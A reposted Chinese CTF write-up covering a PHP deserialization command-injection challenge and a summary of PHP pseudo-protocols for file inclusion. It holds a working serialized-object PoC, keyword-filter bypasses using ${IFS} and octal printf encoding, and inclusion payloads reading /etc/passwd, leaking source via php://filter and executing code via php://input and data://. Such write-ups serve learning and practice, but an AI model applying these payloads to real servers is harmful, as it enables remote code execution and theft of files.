unseping
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
//建構式,實體化的時候先呼叫這里,初始化兩個引數
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
//魔法函式,該函式會在類的一個物件被洗掉時自動呼叫
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args); //回呼函式,可以將把一個陣列引數作為回呼函式的引數 call_user_func_array($fun,$arr);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
//匹配 | & ; 空格 / cat flag tac php ls 關鍵字回傳str
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
//__wakeup(),執行unserialize()時,先會呼叫這個函式/
function __wakeup(){
foreach($this->args as $k => $v) { //鍵值分離
$this->args[$k] = $this->waf($v); //把鍵值分離出的值$v放到waf函式進行過濾后再賦值
}
}
}
$ctf=@$_POST['ctf'];
//$ctf base64解碼,然后反序列化,并回傳原始的物件結構,
@unserialize(base64_decode($ctf));
?>
poc
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('ls'));
$b = serialize($a);
echo $b;
echo'</br>';
echo base64_encode($b);
?>
//流程: 64解碼,反序列化出一條實體化陳述句,呼叫了構造方法完成初始化,繼續呼叫wakeup,將this->args中進行waf函式過濾,代碼繼續執行,結束之時,呼叫destruct函式,滿足if 進入呼叫建構式,間接呼叫ping函式中的exec,
/*
繞過:因為過濾了很多命令,這里查閱資料到一下繞過方式,
單引號、雙引號、${Z},例如ls 可以 'l""'
空格繞過:${IFS}
/繞過:$(printf "\154\163")ls命令,這個編碼后可以拼接
"\154\163" 就是ls
把 cat$[IFS]flag_1s_here/xx.php 轉成ascii 然后8進制 替換地方
最終$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")
然后就和以前一樣就行了,payload
*/
str1 = "cat flag_1s_here/flag_831b69012c67b35f.php"
arr = []
for i in str1:
//對字符先轉換為ASCII碼,再轉換為八進制
lett = oct(ord(i))
//這個主要是為了將八進制前面的0o替換掉
lett=str(lett).replace("0o","")
arr.append(lett)
sym = "\\"
//將所有的八進制組合,最終的結果第一個地方應該再添加一個\
ccc=sym.join(arr)
print(ccc)
Include
CTF常用偽協議總結_Asionm的博客-CSDN博客
Php偽協議:
-
file://協議,用來讀取本地的檔案,當用于檔案讀取函式時可以用,
常見檢測是否存在漏洞寫法:
xxx/?file=file:///etc/passwd
此協議不受allow_url_fopen,allow_url_include配置影響 -
php:input協議,此協議一般用于輸入getshell的代碼,- 在get處填上php://input如下
xxx.xxx/?cmd=php://input
然后用hackbar或者其他工具,postPHP代碼進行檢驗,如
<?php>phpinfo()?>
此協議受allow_url_include配置影響 -
php://filter協議,此協議一般用來查看原始碼
一般用法如下
xxx.xxx/?file=php://filter/read=convert.base64-encode/resource=index.php
出來的是base64碼需要進行解碼
此協議不受allow_url_fopen,allow_url_include配置影響 -
data://協議,需要allow_url_fopen,allow_url_include均為on
這是一個輸入流執行的協議,它可以向服務器輸入資料,而服務器也會執行,常用代碼如下:
http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>
text/plain,表示的是文本
text/plain;base64, 若純文本沒用可用base64編碼 -
dict://協議,與gopher協議一般都出現在ssrf協議中,用來探測埠的指紋資訊,同時也可以用它來代替gopher協議進行ssrf攻擊,
常見用法:
探測埠指紋
192.168.0.0/?url=dict://192.168.0.0:6379
以上為探測6379(redis)埠的開發
反彈shell
- gopher://協議,
- gopher://協議經常用來打內網的各種應用如mysql redis等,一般要用一些工具來進行構造payload 如gopherus等
- zip;//協議,
- compress.bzip2://協議
與zip協議類似不過要壓縮成bzip2格式的 - compress.zlib://協議
與zip協議類似不過要壓縮成zlib格式的 - phar://協議
轉換過濾器
convert.過濾器支持convert.iconv. 格式,使用方法:
convert.iconv.
或
convert.iconv.
例如:
convert.iconv.UCS-4.UCS-4BE ---> 將指定的檔案從UCS-4轉換為UCS-4BE 輸出
--------------------測驗--------------------
http://61.147.171.105:63847/?filename=ph1p://filter/re1ad=conver.bas1e64/resource=check.php 不提示過濾
http://61.147.171.105:63847/?filename=ph1p://filter/read=conver.base64/resource=check.php 提示過濾
我們發現read base等關鍵字被過濾了
用轉換過濾器繞過
構造url,然后使用bp進行爆破
?filename=php://filter/convert.iconv.a.b/resource=check.php

由此發現filename過濾了base,be,encode,print,zlib,quoted,write,rot12,read,string
猜測flag是flag.php

fileinclude
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

2.
data://:自PHP>=5.2.0起,可以使用data://資料流封裝器,以傳遞相應格式的資料,通常可以用來執行PHP代碼,一般需要用到base64編碼傳輸
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain;base64,aGVsbG8gY3Rm
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/536005.html
標籤:其他
下一篇:ROSIntegration ROSIntegrationVision與虛幻引擎4(Unreal Engine 4)的配置
